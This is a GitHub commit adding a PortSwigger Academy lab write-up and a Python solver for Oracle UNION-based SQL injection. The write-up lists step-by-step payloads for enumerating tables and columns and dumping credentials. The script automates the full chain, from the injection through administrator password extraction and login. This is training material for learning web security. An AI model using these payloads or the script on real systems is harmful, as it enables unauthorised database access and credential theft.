Skip to content

Commit d1ce61e

Browse files
committed
add sqli lab 10
1 parent 524c9a9 commit d1ce61e

File tree

2 files changed

+182
-0
lines changed

2 files changed

+182
-0
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
### Equivalent to information schema on Oracle
2+
3+
On Oracle, you can obtain the same information with slightly different queries.
4+
5+
You can list tables by querying `all_tables`:
6+
7+
`SELECT * FROM all_tables`
8+
9+
And you can list columns by querying `all_tab_columns`:
10+
11+
`SELECT * FROM all_tab_columns WHERE table_name = 'USERS'`
12+
13+
# Lab: SQL injection attack, listing the database contents on Oracle
14+
15+
This lab contains an [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.
16+
17+
The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.
18+
19+
To solve the lab, log in as the `administrator` user.
20+
21+
#### Hint
22+
23+
On Oracle databases, every `SELECT` statement must specify a table to select `FROM`. If your `UNION SELECT` attack does not query from a table, you will still need to include the `FROM` keyword followed by a valid table name.
24+
25+
There is a built-in table on Oracle called `dual` which you can use for this purpose. For example: `UNION SELECT 'abc' FROM dual`
26+
27+
For more information, see our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).
28+
29+
# PoC
30+
31+
1. Use Burp Suite to intercept and modify the request that sets the product category filter.
32+
2. Determine the [number of columns that are being returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the `category` parameter:
33+
- `'+UNION+SELECT+'abc','def'+FROM+dual--`
34+
-`' ORDER BY 2--`
35+
- `' UNION SELECT 'test', 'test' FROM dual--`
36+
3. Use the following payload to retrieve the list of tables in the database:
37+
38+
`' UNION SELECT NULL, table_name FROM all_tables--`
39+
4. Find the name of the table containing user credentials.
40+
5. Use the following payload (replacing the table name) to retrieve the details of the columns in the table:
41+
42+
`' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = 'USERS_LAHPFP'--`
43+
6. Find the names of the columns containing usernames and passwords.
44+
7. Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users:
45+
46+
`' UNION SELECT USERNAME_BYWSYB, PASSWORD_KBCUUL FROM USERS_LAHPFP--`
47+
8. Find the password for the `administrator` user, and use it to log in.
48+
49+
```bash
50+
$ python3 sqli_lab_10.py "https://ac811fe11f1dcc30c0d839f300c60030.web-security-academy.net"
51+
52+
>> SQL injection attack, listing the database contents on Oracle
53+
>> by Port Swigger Academy
54+
55+
[*] Looking for a users table...
56+
[✓] Found the users table name: USERS_BKGSWO
57+
[✓] Found the username column name: USERNAME_JQEWWS
58+
[✓] Found the password column name: PASSWORD_PXBWWI
59+
[✓] The administrator password is: 5g14mfdpotluklcj2in7
60+
[*] Try to login as an Administrator...
61+
[✓] We have logged as an Administrator!
62+
```
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
#!/usr/bin/python3
2+
3+
import requests
4+
import sys
5+
import urllib3
6+
from bs4 import BeautifulSoup
7+
import re
8+
9+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
10+
11+
class Interface ():
12+
def __init__ (self):
13+
self.red = '\033[91m'
14+
self.green = '\033[92m'
15+
self.white = '\033[37m'
16+
self.yellow = '\033[93m'
17+
self.bold = '\033[1m'
18+
self.end = '\033[0m'
19+
20+
def header(self):
21+
print('\n >> SQL injection attack, listing the database contents on Oracle')
22+
print(' >> by Port Swigger Academy\n')
23+
24+
def info (self, message):
25+
print(f"[{self.white}*{self.end}] {message}")
26+
27+
def warning (self, message):
28+
print(f"[{self.yellow}!{self.end}] {message}")
29+
30+
def error (self, message):
31+
print(f"[{self.red}x{self.end}] {message}")
32+
33+
def success (self, message):
34+
print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")
35+
36+
# Instantiate our interface class
37+
global output
38+
output = Interface()
39+
output.header()
40+
41+
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
42+
43+
def perform_request(url, sqli_payload):
44+
path = '/filter?category=Gifts'
45+
r = requests.get(url+path+sqli_payload, verify=False, proxies=proxies)
46+
return r.text
47+
48+
def sqli_users_table(url):
49+
sqli_payload = "' UNION SELECT NULL, table_name FROM all_tables--"
50+
response = perform_request(url, sqli_payload)
51+
soup = BeautifulSoup(response, 'html.parser')
52+
users_table = soup.find(text=re.compile('^USERS\_.*'))
53+
if users_table:
54+
return users_table
55+
else:
56+
return False
57+
def sqli_users_columns(url, users_table):
58+
sqli_payload = "' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = '%s'--" % users_table
59+
response = perform_request(url, sqli_payload)
60+
soup = BeautifulSoup(response, 'html.parser')
61+
username_column = soup.find(text=re.compile('.*USERNAME.*'))
62+
password_column = soup.find(text=re.compile('.*PASSWORD.*'))
63+
return username_column, password_column
64+
65+
def sqli_administrator_cred(url, users_table, username_column, password_column):
66+
sqli_payload = "' UNION SELECT %s, %s FROM %s--" %(username_column, password_column, users_table)
67+
response = perform_request(url, sqli_payload)
68+
soup = BeautifulSoup(response, 'html.parser')
69+
admin_password = soup.body.find(text="administrator").parent.findNext('td').contents[0]
70+
return admin_password
71+
72+
def get_csrf_token(s, url):
73+
path = "/login"
74+
response = s.get(url+path, verify=False, proxies=proxies)
75+
soup = BeautifulSoup(response.text, 'html.parser')
76+
csrf = soup.find("input")['value']
77+
return csrf
78+
79+
def login_as_an_administrator(s, url, admin_password):
80+
csrf = get_csrf_token(s, url)
81+
path = "/login"
82+
data = {"csrf": csrf, "username": "administrator", "password": admin_password}
83+
response = s.post(url+path, data=data, verify=False, proxies=proxies)
84+
if "Log out" in response.text:
85+
return True
86+
else:
87+
return False
88+
89+
if __name__ == "__main__":
90+
try:
91+
url = sys.argv[1].strip()
92+
except IndexError:
93+
output.info("Usage: %s <url>" % sys.argv[0])
94+
output.info("Example: %s wwww.example.com" % sys.argv[0])
95+
sys.exit(-1)
96+
output.info("Looking for a users table...")
97+
users_table = sqli_users_table(url)
98+
if users_table:
99+
output.success("Found the users table name: %s " % users_table)
100+
username_column, password_column = sqli_users_columns(url, users_table)
101+
if username_column and password_column:
102+
output.success("Found the username column name: %s" % username_column)
103+
output.success("Found the password column name: %s" % password_column)
104+
105+
admin_password = sqli_administrator_cred(url, users_table, username_column, password_column)
106+
if admin_password:
107+
output.success("The administrator password is: %s" % admin_password)
108+
109+
output.info("Try to login as an Administrator...")
110+
s = requests.Session()
111+
if login_as_an_administrator(s, url, admin_password):
112+
output.success("We have logged as an Administrator!")
113+
else:
114+
output.error("Did not login as an Administrator")
115+
else:
116+
output.error("Did not find the administrator password.")
117+
else:
118+
output.error("Did not find username and/or password columns.")
119+
else:
120+
output.error("Did not find a users table.")

0 commit comments

Comments
 (0)